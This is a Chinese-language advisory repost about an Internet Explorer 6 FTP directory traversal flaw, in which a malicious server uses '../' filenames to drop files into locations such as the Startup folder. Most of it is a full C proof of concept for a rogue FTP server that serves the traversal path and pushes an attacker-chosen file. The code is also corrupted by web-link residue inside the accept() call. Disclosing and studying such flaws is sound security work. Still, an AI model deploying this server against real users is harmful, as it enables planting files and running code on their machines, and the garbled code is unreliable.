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MicrosoftInternetExplorerFTP下载路径目录遍历漏洞
发表于：2007-05-25来源：作者：点击数：
标签：下
受影响系统： Microsoft Internet Explorer 6.0SP1 Microsoft Internet Explorer 6.0 - Microsoft Windows XP Professional SP1 - Microsoft Windows XP Professional - Microsoft Windows XP Home SP1 - Microsoft Windows XP Home - Microsoft Windows NT
受影响系统：
Microsoft Internet Explorer 6.0SP1描述：
Microsoft Internet Explorer 6.0
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows ME
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000
Microsoft Internet Explorer是一款流行的WEB浏览器。
Microsoft Internet Explorer的FTP协议实现不正确，远程攻击者可以利用这个漏洞下载文件到本地任意目标系统目录中。
当从通过MSIE从FTP服务器保存文件到本地文件夹，会保存在'local_folder/file_name'，不过如果文件名包含'../'，文件的实际路径就会更改，通过设置恶意文件名和恶意FTP服务器，诱使用户通过脱拉文件，或者左点击后保存，可导致把文件保存在系统其他目录中，如保存在'C:\Documents and settings\All Users\Start menu\Programs\Start'可导致任意命令执行。
不过利用双击过程来下载文件不受此漏洞影响。
<*来源：Albert Puigsech Galicia （ripe@7a69ezine.org）
链接：_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=110461358930103&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*
* Internet Explorer FTP download path disclosure fucked prof of concept (7a69Adv#17)
*
* ?DOES NOT WORK USING PASV MODE, YOU MUST CODE IT IF YOU WANT !!!
*
*/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#define MAX_BUF 1024
#define FTP_PORT 21
int main(int argc, char **argv) {
char ch;
char buffer[MAX_BUF + 1];
char ipbuf[MAX_BUF + 1];
char *local_file, *remote_file;
int sfdmain, sfdses, sfddata;
int readed;
int ip1,ip2,ip3,ip4,port1,port2;
int fd;
struct stat st;
struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY };
struct sockaddr_in ftpdata;
if (argc < 3) {
printf("\t7a69Adv#17 - Internet Explorer FTP download path disclosure prof of \
concept\n"); printf("Use:\n");
printf("\t%s <local_file> <remote_file>\n", argv[0]);
exit(0);
}
local_file = argv[1];
remote_file = argv[2];
if ((fd = open(local_file, O_RDONLY)) == -1) {
perror("open()");
exit(-1);
}
if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) == -1) {
perror("bind()");
exit(-1);
}
if (listen(sfdmain, 1) == -1) {
perror("listen()");
exit(-1);
}
if ((sfdses = aclearcase/" target="_blank" >ccept(sfdmain, NULL, NULL)) == -1) {
perror("accept()");
exit(-1);
}
write(sfdses, "200 OK\r\n", 8);
while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) {
buffer[readed] = 0;
printf(">> %s", buffer);
if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8);
else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 OK\r\n", 8);
else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 OK\r\n", 8);
else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 OK\r\n", 8);
else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 \"/\"\r\n", 9);
else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 OK\r\n", 8);
else if (!strncmp(buffer, "PORT ", 5)) {
sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, &ip3, &ip4, &port1, &port2);
snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, ip4);
ftpdata.sin_family = AF_INET;
ftpdata.sin_addr.s_addr = inet_addr(ipbuf);
ftpdata.sin_port = htons(port1*256+port2);
if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if (connect(sfddata, (struct sockaddr *)&ftpdata, sizeof(struct sockaddr)) == -1) \
{ write(sfdses, "421 OK\r\n", 8);
} else {
write(sfdses, "220 OK\r\n", 8);
}
}
else if (!strncmp(buffer, "LIST", 4)) {
write(sfdses, "150 OK\r\n", 8);
snprintf(buffer, MAX_BUF, "-rwxrwxrwx 1 0 0 1 Dec 08 07:36 \
/../../../../../../../../../../..%s\r\n", remote_file); write(sfddata, buffer, \
strlen(buffer)); close(sfddata);
write(sfdses, "226 OK\r\n", 8);
}
else if(!strncmp(buffer, "RETR ", 5)) {
write(sfdses, "150 OK\r\n", 8);
fstat(fd, &st);
while(st.st_size-- > 0) {
read(fd, &ch, 1);
write(sfddata, &ch, 1);
}
close(sfddata);
write(sfdses, "226 OK\r\n", 8);
}
else if (!strncmp(buffer, "QUIT", 4)) {
write(sfdses, "221 OK\r\n", 8);
close(sfdses); close(sfdmain); close(sfddata);
}
else
write(sfdses, "500 WTF\r\n", 9);
}
}
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
_blank>http://www.microsoft.com/windows/ie/default.asp
